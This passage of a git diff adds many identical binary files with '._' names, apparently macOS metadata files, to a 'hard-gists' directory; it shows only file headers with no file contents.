diff --git a/hard-gists/._977777 b/hard-gists/._977777
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._977777 differ
diff --git a/hard-gists/._9797a9ce8ad97de6e326afc7c9894965 b/hard-gists/._9797a9ce8ad97de6e326afc7c9894965
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9797a9ce8ad97de6e326afc7c9894965 differ
diff --git a/hard-gists/._97a1b2b7f954246886de b/hard-gists/._97a1b2b7f954246886de
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._97a1b2b7f954246886de differ
diff --git a/hard-gists/._97cffbea574a5890f0d7 b/hard-gists/._97cffbea574a5890f0d7
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._97cffbea574a5890f0d7 differ
diff --git a/hard-gists/._97d0fb82c3894f56809a b/hard-gists/._97d0fb82c3894f56809a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._97d0fb82c3894f56809a differ
diff --git a/hard-gists/._9822570 b/hard-gists/._9822570
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9822570 differ
diff --git a/hard-gists/._982ce339d5f8c9a769a0 b/hard-gists/._982ce339d5f8c9a769a0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._982ce339d5f8c9a769a0 differ
diff --git a/hard-gists/._9842903 b/hard-gists/._9842903
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9842903 differ
diff --git a/hard-gists/._984892 b/hard-gists/._984892
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._984892 differ
diff --git a/hard-gists/._985060 b/hard-gists/._985060
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._985060 differ
diff --git a/hard-gists/._9874480 b/hard-gists/._9874480
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9874480 differ
diff --git a/hard-gists/._9875439 b/hard-gists/._9875439
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9875439 differ
diff --git a/hard-gists/._9875468 b/hard-gists/._9875468
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9875468 differ
diff --git a/hard-gists/._989074 b/hard-gists/._989074
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._989074 differ
diff --git a/hard-gists/._98a38b54f889fce2b237 b/hard-gists/._98a38b54f889fce2b237
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._98a38b54f889fce2b237 differ
diff --git a/hard-gists/._98b4d7288a2ee7b1319a8ff71d3e2c7b b/hard-gists/._98b4d7288a2ee7b1319a8ff71d3e2c7b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._98b4d7288a2ee7b1319a8ff71d3e2c7b differ
diff --git a/hard-gists/._98b59370a1d171817edb b/hard-gists/._98b59370a1d171817edb
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._98b59370a1d171817edb differ
diff --git a/hard-gists/._98b7edca1b29c949fcf1 b/hard-gists/._98b7edca1b29c949fcf1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._98b7edca1b29c949fcf1 differ
diff --git a/hard-gists/._98bb452dc14e8c40e403 b/hard-gists/._98bb452dc14e8c40e403
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._98bb452dc14e8c40e403 differ
diff --git a/hard-gists/._9901745 b/hard-gists/._9901745
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9901745 differ
diff --git a/hard-gists/._990d3653c5803927cbb6 b/hard-gists/._990d3653c5803927cbb6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._990d3653c5803927cbb6 differ
diff --git a/hard-gists/._9927923 b/hard-gists/._9927923
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9927923 differ
diff --git a/hard-gists/._994260 b/hard-gists/._994260
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._994260 differ
diff --git a/hard-gists/._99442e1294a6c83368f5 b/hard-gists/._99442e1294a6c83368f5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._99442e1294a6c83368f5 differ
diff --git a/hard-gists/._9947556 b/hard-gists/._9947556
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9947556 differ
diff --git a/hard-gists/._9951701907ed328218dd b/hard-gists/._9951701907ed328218dd
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9951701907ed328218dd differ
diff --git a/hard-gists/._9952389 b/hard-gists/._9952389
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9952389 differ
diff --git a/hard-gists/._9956ec93a07ca4e9ba5bc415b014bcca b/hard-gists/._9956ec93a07ca4e9ba5bc415b014bcca
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9956ec93a07ca4e9ba5bc415b014bcca differ
diff --git a/hard-gists/._996771 b/hard-gists/._996771
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._996771 differ
diff --git a/hard-gists/._9985307 b/hard-gists/._9985307
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9985307 differ
diff --git a/hard-gists/._998722 b/hard-gists/._998722
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._998722 differ
diff --git a/hard-gists/._999228 b/hard-gists/._999228
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._999228 differ
diff --git a/hard-gists/._99b7fb8ff89104d30eab b/hard-gists/._99b7fb8ff89104d30eab
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._99b7fb8ff89104d30eab differ
diff --git a/hard-gists/._99e1ad329383de04be4834a8c3e28c0d b/hard-gists/._99e1ad329383de04be4834a8c3e28c0d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._99e1ad329383de04be4834a8c3e28c0d differ
diff --git a/hard-gists/._99f7f921b512496a9563691e15d846b2 b/hard-gists/._99f7f921b512496a9563691e15d846b2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._99f7f921b512496a9563691e15d846b2 differ
diff --git a/hard-gists/._9a632bbb0acb445f4f3a b/hard-gists/._9a632bbb0acb445f4f3a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9a632bbb0acb445f4f3a differ
diff --git a/hard-gists/._9ad6a265aac887fa26c1 b/hard-gists/._9ad6a265aac887fa26c1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9ad6a265aac887fa26c1 differ
diff --git a/hard-gists/._9b1e305543f6fcc9318a b/hard-gists/._9b1e305543f6fcc9318a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9b1e305543f6fcc9318a differ
diff --git a/hard-gists/._9b2b3e8a6c67697279d3724dce5dab3c b/hard-gists/._9b2b3e8a6c67697279d3724dce5dab3c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9b2b3e8a6c67697279d3724dce5dab3c differ
diff --git a/hard-gists/._9b7787a607a5a676c6d8 b/hard-gists/._9b7787a607a5a676c6d8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9b7787a607a5a676c6d8 differ
diff --git a/hard-gists/._9bb9eaea2523cd2144cf959f48a14194 b/hard-gists/._9bb9eaea2523cd2144cf959f48a14194
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9bb9eaea2523cd2144cf959f48a14194 differ
diff --git a/hard-gists/._9bde6d0985bd71b103d3 b/hard-gists/._9bde6d0985bd71b103d3
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9bde6d0985bd71b103d3 differ
diff --git a/hard-gists/._9be3d2aa4930ecd8e536 b/hard-gists/._9be3d2aa4930ecd8e536
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9be3d2aa4930ecd8e536 differ
diff --git a/hard-gists/._9c1614281797ce620c6069476d39c7b8 b/hard-gists/._9c1614281797ce620c6069476d39c7b8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9c1614281797ce620c6069476d39c7b8 differ
diff --git a/hard-gists/._9c411d2b88eab4232cc66a9c7f6988fc b/hard-gists/._9c411d2b88eab4232cc66a9c7f6988fc
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9c411d2b88eab4232cc66a9c7f6988fc differ
diff --git a/hard-gists/._9c4d012d6fff059ccea7 b/hard-gists/._9c4d012d6fff059ccea7
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9c4d012d6fff059ccea7 differ
diff --git a/hard-gists/._9cba618eacedc68c656b b/hard-gists/._9cba618eacedc68c656b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9cba618eacedc68c656b differ
diff --git a/hard-gists/._9cc23ce7c1e5c9e4379e b/hard-gists/._9cc23ce7c1e5c9e4379e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9cc23ce7c1e5c9e4379e differ
diff --git a/hard-gists/._9cdead881799a47742ff3cd296d06cc1 b/hard-gists/._9cdead881799a47742ff3cd296d06cc1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9cdead881799a47742ff3cd296d06cc1 differ
diff --git a/hard-gists/._9cfd4d8400961a3b67a1351a1851c869 b/hard-gists/._9cfd4d8400961a3b67a1351a1851c869
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9cfd4d8400961a3b67a1351a1851c869 differ
diff --git a/hard-gists/._9d0bf77bf070262ab3cddfc4b79d031b b/hard-gists/._9d0bf77bf070262ab3cddfc4b79d031b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9d0bf77bf070262ab3cddfc4b79d031b differ
diff --git a/hard-gists/._9d39e1868e220e02cb58 b/hard-gists/._9d39e1868e220e02cb58
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9d39e1868e220e02cb58 differ
diff --git a/hard-gists/._9d4ea9b04b223de02c7a b/hard-gists/._9d4ea9b04b223de02c7a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9d4ea9b04b223de02c7a differ
diff --git a/hard-gists/._9dad6c4ab0d8d7dbf3dc b/hard-gists/._9dad6c4ab0d8d7dbf3dc
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9dad6c4ab0d8d7dbf3dc differ
diff --git a/hard-gists/._9dcd642059214d81b3ef b/hard-gists/._9dcd642059214d81b3ef
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9dcd642059214d81b3ef differ
diff --git a/hard-gists/._9e1f7cf4945a608ae48a b/hard-gists/._9e1f7cf4945a608ae48a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9e1f7cf4945a608ae48a differ
diff --git a/hard-gists/._9e30b2f908e801da1bd789f4ce3e7aac b/hard-gists/._9e30b2f908e801da1bd789f4ce3e7aac
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9e30b2f908e801da1bd789f4ce3e7aac differ
diff --git a/hard-gists/._9e990f56dabe27b42bfb b/hard-gists/._9e990f56dabe27b42bfb
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9e990f56dabe27b42bfb differ
diff --git a/hard-gists/._9ea0e4feb62a45acffee b/hard-gists/._9ea0e4feb62a45acffee
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9ea0e4feb62a45acffee differ
diff --git a/hard-gists/._9ed6ee8a55ff1587c08c793d5f23dfda b/hard-gists/._9ed6ee8a55ff1587c08c793d5f23dfda
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9ed6ee8a55ff1587c08c793d5f23dfda differ
diff --git a/hard-gists/._9f1793c4d1f466d3b58966da36b54fad b/hard-gists/._9f1793c4d1f466d3b58966da36b54fad
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9f1793c4d1f466d3b58966da36b54fad differ
diff --git a/hard-gists/._9f2d7da68779a17a0890 b/hard-gists/._9f2d7da68779a17a0890
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9f2d7da68779a17a0890 differ
diff --git a/hard-gists/._9f49f91bd7d0a527fdb5 b/hard-gists/._9f49f91bd7d0a527fdb5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9f49f91bd7d0a527fdb5 differ
diff --git a/hard-gists/._9f6118ff84867e89f3348707c7a1271f b/hard-gists/._9f6118ff84867e89f3348707c7a1271f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9f6118ff84867e89f3348707c7a1271f differ
diff --git a/hard-gists/._9f782f83e25d3c9eb202 b/hard-gists/._9f782f83e25d3c9eb202
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9f782f83e25d3c9eb202 differ
diff --git a/hard-gists/._9fbbf2f450779bde60c3 b/hard-gists/._9fbbf2f450779bde60c3
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9fbbf2f450779bde60c3 differ
diff --git a/hard-gists/._9fd4304148b398983b3c b/hard-gists/._9fd4304148b398983b3c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9fd4304148b398983b3c differ
diff --git a/hard-gists/._9fffe8ba08e378e3d027610921c51a78 b/hard-gists/._9fffe8ba08e378e3d027610921c51a78
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9fffe8ba08e378e3d027610921c51a78 differ
diff --git a/hard-gists/._a003ace716c278ab87669f2fbd37727b b/hard-gists/._a003ace716c278ab87669f2fbd37727b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a003ace716c278ab87669f2fbd37727b differ
diff --git a/hard-gists/._a027a9fc5aac66e6a382 b/hard-gists/._a027a9fc5aac66e6a382
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a027a9fc5aac66e6a382 differ
diff --git a/hard-gists/._a05a9ed37a3096cffef80bdc7fee31bc b/hard-gists/._a05a9ed37a3096cffef80bdc7fee31bc
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a05a9ed37a3096cffef80bdc7fee31bc differ
diff --git a/hard-gists/._a06477775f18c11b4517 b/hard-gists/._a06477775f18c11b4517
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a06477775f18c11b4517 differ
diff --git a/hard-gists/._a08221826c6f20ac47fe688e575e51ca b/hard-gists/._a08221826c6f20ac47fe688e575e51ca
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a08221826c6f20ac47fe688e575e51ca differ
diff --git a/hard-gists/._a0a5dd7bfcaac3d3e9c18e5ea1080b95 b/hard-gists/._a0a5dd7bfcaac3d3e9c18e5ea1080b95
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a0a5dd7bfcaac3d3e9c18e5ea1080b95 differ
diff --git a/hard-gists/._a0d42148fa11cbdaa00168e321f598f5 b/hard-gists/._a0d42148fa11cbdaa00168e321f598f5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a0d42148fa11cbdaa00168e321f598f5 differ
diff --git a/hard-gists/._a1178bf10729a27184b1 b/hard-gists/._a1178bf10729a27184b1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a1178bf10729a27184b1 differ
diff --git a/hard-gists/._a14e56ab945cd7e64c3b b/hard-gists/._a14e56ab945cd7e64c3b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a14e56ab945cd7e64c3b differ
diff --git a/hard-gists/._a16749ee76941e8d86c8 b/hard-gists/._a16749ee76941e8d86c8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a16749ee76941e8d86c8 differ
diff --git a/hard-gists/._a2b9c6ecdb24ca8fd6f4f41a9c0eb32e b/hard-gists/._a2b9c6ecdb24ca8fd6f4f41a9c0eb32e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a2b9c6ecdb24ca8fd6f4f41a9c0eb32e differ
diff --git a/hard-gists/._a303721443f5eb46035e b/hard-gists/._a303721443f5eb46035e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a303721443f5eb46035e differ
diff --git a/hard-gists/._a3dd4a35ecd94660411112999923d561 b/hard-gists/._a3dd4a35ecd94660411112999923d561
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a3dd4a35ecd94660411112999923d561 differ
diff --git a/hard-gists/._a400d6c20a52f0b3cd5415e833263b1f b/hard-gists/._a400d6c20a52f0b3cd5415e833263b1f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a400d6c20a52f0b3cd5415e833263b1f differ
diff --git a/hard-gists/._a428ef783211b0ffdee1 b/hard-gists/._a428ef783211b0ffdee1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a428ef783211b0ffdee1 differ
diff --git a/hard-gists/._a42aecb379742d3cd150 b/hard-gists/._a42aecb379742d3cd150
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a42aecb379742d3cd150 differ
diff --git a/hard-gists/._a430d460966d64edc6cad71c502d7005 b/hard-gists/._a430d460966d64edc6cad71c502d7005
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a430d460966d64edc6cad71c502d7005 differ
diff --git a/hard-gists/._a4533e0adebe57e3ed06d4b50c8419ae b/hard-gists/._a4533e0adebe57e3ed06d4b50c8419ae
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a4533e0adebe57e3ed06d4b50c8419ae differ
diff --git a/hard-gists/._a48b50e46f01dc7ac96d b/hard-gists/._a48b50e46f01dc7ac96d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a48b50e46f01dc7ac96d differ
diff --git a/hard-gists/._a48feaecfdb9e0609c6a02590fd1f91b b/hard-gists/._a48feaecfdb9e0609c6a02590fd1f91b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a48feaecfdb9e0609c6a02590fd1f91b differ
diff --git a/hard-gists/._a4cfdc19144e7bd634a8 b/hard-gists/._a4cfdc19144e7bd634a8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a4cfdc19144e7bd634a8 differ
diff --git a/hard-gists/._a52b036424bd9975d719f224ca8cc8d5 b/hard-gists/._a52b036424bd9975d719f224ca8cc8d5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a52b036424bd9975d719f224ca8cc8d5 differ
diff --git a/hard-gists/._a536bfa68b066c6fd593 b/hard-gists/._a536bfa68b066c6fd593
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a536bfa68b066c6fd593 differ
diff --git a/hard-gists/._a5407ce6b5061525e7f2 b/hard-gists/._a5407ce6b5061525e7f2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a5407ce6b5061525e7f2 differ
diff --git a/hard-gists/._a54e7e182ddf564f6a5c1fe50db556a2 b/hard-gists/._a54e7e182ddf564f6a5c1fe50db556a2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a54e7e182ddf564f6a5c1fe50db556a2 differ
diff --git a/hard-gists/._a56421d26afb1f728a2b5959ce1c4486 b/hard-gists/._a56421d26afb1f728a2b5959ce1c4486
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a56421d26afb1f728a2b5959ce1c4486 differ
diff --git a/hard-gists/._a56d5446416f5ad2bbac b/hard-gists/._a56d5446416f5ad2bbac
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a56d5446416f5ad2bbac differ
diff --git a/hard-gists/._a5808fe356b8da031837 b/hard-gists/._a5808fe356b8da031837
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a5808fe356b8da031837 differ
diff --git a/hard-gists/._a5af977340c1c452d2d0 b/hard-gists/._a5af977340c1c452d2d0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a5af977340c1c452d2d0 differ
diff --git a/hard-gists/._a5b640e4368204426310 b/hard-gists/._a5b640e4368204426310
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a5b640e4368204426310 differ
diff --git a/hard-gists/._a5f57e8c9d0aedee285fb6f43cb5900c b/hard-gists/._a5f57e8c9d0aedee285fb6f43cb5900c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a5f57e8c9d0aedee285fb6f43cb5900c differ
diff --git a/hard-gists/._a5fb23f096d7b0c3880e1622938d0901 b/hard-gists/._a5fb23f096d7b0c3880e1622938d0901
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a5fb23f096d7b0c3880e1622938d0901 differ
diff --git a/hard-gists/._a61918cbfae993b68eb17b5b780b7e32 b/hard-gists/._a61918cbfae993b68eb17b5b780b7e32
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a61918cbfae993b68eb17b5b780b7e32 differ
diff --git a/hard-gists/._a62b5cf5262fc7179dee b/hard-gists/._a62b5cf5262fc7179dee
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a62b5cf5262fc7179dee differ
diff --git a/hard-gists/._a64321dd69339c42a184 b/hard-gists/._a64321dd69339c42a184
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a64321dd69339c42a184 differ
diff --git a/hard-gists/._a67517621c2a9d4c2f14 b/hard-gists/._a67517621c2a9d4c2f14
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a67517621c2a9d4c2f14 differ
diff --git a/hard-gists/._a682299af39b76d8592f b/hard-gists/._a682299af39b76d8592f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a682299af39b76d8592f differ
diff --git a/hard-gists/._a68d6f32f4985ed547ce b/hard-gists/._a68d6f32f4985ed547ce
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a68d6f32f4985ed547ce differ
diff --git a/hard-gists/._a6a32bd87fdfe5529f0e908ed743f779 b/hard-gists/._a6a32bd87fdfe5529f0e908ed743f779
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a6a32bd87fdfe5529f0e908ed743f779 differ
diff --git a/hard-gists/._a7733a15cbf6c0cd9fba b/hard-gists/._a7733a15cbf6c0cd9fba
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a7733a15cbf6c0cd9fba differ
diff --git a/hard-gists/._a7c41b072cfa4cc2c592 b/hard-gists/._a7c41b072cfa4cc2c592
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a7c41b072cfa4cc2c592 differ
diff --git a/hard-gists/._a8121604385ce6da251d20d018f9a6d6 b/hard-gists/._a8121604385ce6da251d20d018f9a6d6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a8121604385ce6da251d20d018f9a6d6 differ
diff --git a/hard-gists/._a8332d2b6dc517accedbff8fd8e63b08 b/hard-gists/._a8332d2b6dc517accedbff8fd8e63b08
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a8332d2b6dc517accedbff8fd8e63b08 differ
diff --git a/hard-gists/._a86b412988cbf5216aa5c48b1cf439c4 b/hard-gists/._a86b412988cbf5216aa5c48b1cf439c4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a86b412988cbf5216aa5c48b1cf439c4 differ
diff --git a/hard-gists/._a8c96f1aeb41393dadf6 b/hard-gists/._a8c96f1aeb41393dadf6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a8c96f1aeb41393dadf6 differ
diff --git a/hard-gists/._a8ddb994df41583b64f8 b/hard-gists/._a8ddb994df41583b64f8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a8ddb994df41583b64f8 differ
diff --git a/hard-gists/._a8f87b0d95e73eb482c5 b/hard-gists/._a8f87b0d95e73eb482c5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a8f87b0d95e73eb482c5 differ
diff --git a/hard-gists/._a90c6f22372de8859f14 b/hard-gists/._a90c6f22372de8859f14
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a90c6f22372de8859f14 differ
diff --git a/hard-gists/._a9de2ef498a09747bbf673ddf6ea4843 b/hard-gists/._a9de2ef498a09747bbf673ddf6ea4843
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a9de2ef498a09747bbf673ddf6ea4843 differ
diff --git a/hard-gists/._a9f0b1ca7e98391a5067 b/hard-gists/._a9f0b1ca7e98391a5067
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._a9f0b1ca7e98391a5067 differ
diff --git a/hard-gists/._aa3d19a12b74e9ab7941 b/hard-gists/._aa3d19a12b74e9ab7941
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._aa3d19a12b74e9ab7941 differ
diff --git a/hard-gists/._aa46105d34349543582b177ae79f32f0 b/hard-gists/._aa46105d34349543582b177ae79f32f0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._aa46105d34349543582b177ae79f32f0 differ
diff --git a/hard-gists/._aa64ddf6109414291030 b/hard-gists/._aa64ddf6109414291030
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._aa64ddf6109414291030 differ
diff --git a/hard-gists/._aa8713d4334036bcb0060ff73dba54c4 b/hard-gists/._aa8713d4334036bcb0060ff73dba54c4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._aa8713d4334036bcb0060ff73dba54c4 differ
diff --git a/hard-gists/._aad88d51001ea83ecfc6 b/hard-gists/._aad88d51001ea83ecfc6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._aad88d51001ea83ecfc6 differ
diff --git a/hard-gists/._aad8a37114825b0ce1a5bc48bf5f3cac b/hard-gists/._aad8a37114825b0ce1a5bc48bf5f3cac
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._aad8a37114825b0ce1a5bc48bf5f3cac differ
diff --git a/hard-gists/._ab136dbfb97f8ee1d309 b/hard-gists/._ab136dbfb97f8ee1d309
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ab136dbfb97f8ee1d309 differ
diff --git a/hard-gists/._ab2e34dc58c8c2d0f2e15f25b528dc19 b/hard-gists/._ab2e34dc58c8c2d0f2e15f25b528dc19
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ab2e34dc58c8c2d0f2e15f25b528dc19 differ
diff --git a/hard-gists/._abb8a2f22adbdb6d387f b/hard-gists/._abb8a2f22adbdb6d387f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._abb8a2f22adbdb6d387f differ
diff --git a/hard-gists/._abca49bf36433fd1f9d1 b/hard-gists/._abca49bf36433fd1f9d1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._abca49bf36433fd1f9d1 differ
diff --git a/hard-gists/._ac5987161bc27048e1da48e40299468b b/hard-gists/._ac5987161bc27048e1da48e40299468b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ac5987161bc27048e1da48e40299468b differ
diff --git a/hard-gists/._ac5f50d1409954c38681353fb6c6921b b/hard-gists/._ac5f50d1409954c38681353fb6c6921b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ac5f50d1409954c38681353fb6c6921b differ
diff --git a/hard-gists/._ac8f22326f095ed2690e b/hard-gists/._ac8f22326f095ed2690e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ac8f22326f095ed2690e differ
diff --git a/hard-gists/._ac9170132e5abfc5381353428e70f1d9 b/hard-gists/._ac9170132e5abfc5381353428e70f1d9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ac9170132e5abfc5381353428e70f1d9 differ
diff --git a/hard-gists/._ac9be1abd2bebe9ad8da5c645a1d0b5e b/hard-gists/._ac9be1abd2bebe9ad8da5c645a1d0b5e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ac9be1abd2bebe9ad8da5c645a1d0b5e differ
diff --git a/hard-gists/._acaaf10e9649bfd1863b b/hard-gists/._acaaf10e9649bfd1863b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._acaaf10e9649bfd1863b differ
diff --git a/hard-gists/._acbd669af86ecb8f988325084ba7a749 b/hard-gists/._acbd669af86ecb8f988325084ba7a749
new file mode 100644
index 00000000..cd8af967
